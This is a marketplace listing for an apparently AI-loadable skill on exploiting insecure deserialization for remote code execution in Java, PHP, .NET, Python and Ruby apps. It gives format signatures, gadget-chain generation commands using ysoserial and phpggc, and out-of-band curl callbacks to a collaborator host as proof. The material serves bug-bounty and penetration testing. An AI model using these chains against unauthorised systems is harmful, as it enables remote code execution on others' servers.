Skip to content
New

DeepSeek V4.1 Flash free for 7 days: 10M tokens a day after a top-up of $10 or more. Until Nov 30.

How it works
noorqureshi/web-deserializationWeb and bug bounty

web-deserialization

⁨Insecure deserialization → RCE via gadget chains. Load when the app deserializes attacker data: Java (rO0/AC ED base64), PHP `unserialize` (O:), Python pickle, .NET BinaryFormatter/ViewState, Ruby Marshal/YAML. Signals: serialized blobs in cookies/params, `__VIEWSTATE`, `rO0AB`, `O:8:`.⁩

v2026.10.14-ee0e0c52 installs+2 in 7 days27 StarsMITsynced 23 hours ago

Install

No NotHoly CLI yet? Install it first.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install noorqureshi/web-deserialization

Writes to ⁦~/.notholy/skills⁩ after checking the signature and the SHA-256.

SignatureSigned, ed25519
AVsSv2EDKW…Nm95jwDg==The CLI checks the SHA-256 and the signature before it writes a file.
Package33b22b7f…8ceff64d
33b22b7f3b7a…de0a8ceff64d2 files · ⁦2.9 KB⁩
ScanLow1 finding
  • Links to outside domains
See the full scan
Sourcegithub.com/NoorQureshi/security-skills/tree/main/skills/web/web-deserialization@ee0e0c5

When it applies

The app takes serialized objects from the client (cookies, hidden fields, params, message queues) and deserializes them. Recognizable by format markers.

Why it works

Deserialization reconstructs objects and can invoke their methods (magic methods, readObject, __wakeup). A crafted object graph ("gadget chain") strings together existing library methods to reach a dangerous sink — command execution — during/after deserialization.

Method

Payloads & full variation set: cheatsheet.md next to this file — work the set, not the first line.

  1. Spot the blob & format: Java rO0AB/AC ED 00 05, PHP O:8:"...":, .NET __VIEWSTATE/AAEAAAD, Python pickle, Ruby Marshal \x04\x08.
  2. Confirm it's deserialized untrusted: tamper a byte → parse error/behaviour change.
  3. Generate a gadget chain with the right tool for a library on the classpath:
    • Java: ysoserial CommonsCollections1 'curl <collab>' | base64
    • PHP: phpggc Monolog/RCE1 system id (pick a gadget matching a loaded framework)
    • .NET: ysoserial.net (ViewState needs the MAC key or MAC-disabled).
  4. Deliver in the sink; start with an OOB command (curl/nslookup to your host) as safe proof.

Gotchas

  • The chain must match a library actually present (Commons-Collections version, Monolog, etc.) — enumerate dependencies.
  • Java: prefer a DNS/OOB gadget to confirm before an RCE payload.
  • .NET ViewState needs the machineKey unless MAC validation is off — check for leaked web.config.

Verify success

An OOB callback or command output proving code executed during deserialization.

References

ysoserial / phpggc / ysoserial.net; PortSwigger deserialization labs; OWASP.

Files in this version

Permissions

PermissionDeclaredFound by the scan
Reads filesNoNo
Writes filesNoNo
Runs shell commandsNoNo
Uses the networkYesYes
Uses connectorsNoNo
Drives a browserNoNo

Scan findings

Reviewed on Nov 13, 2026

  1. InfoLink · Links to outside domains

A clean scan lowers the risk but does not prove a package is safe. Read what you install.

VersionPublishedCommitSHA-256SignaturePermission change
v2026.10.14-ee0e0c5Nov 13, 2026ee0e0c533b22b7fSigned–

Ask anything your scope allows.

Create an account, add credits and ask the first question in the chat or the terminal.

  1. 1/3

    Create the account

    Individual or company. You can switch to a company later without losing balance or keys.

    IndividualCompany
  2. 2/3

    Add credits

    By card. Pay per token, no subscription.

    $5.00minimum deposit
  3. 3/3

    Ask

    In the chat, or install the CLI and run notholy login in your terminal.

    $ notholy login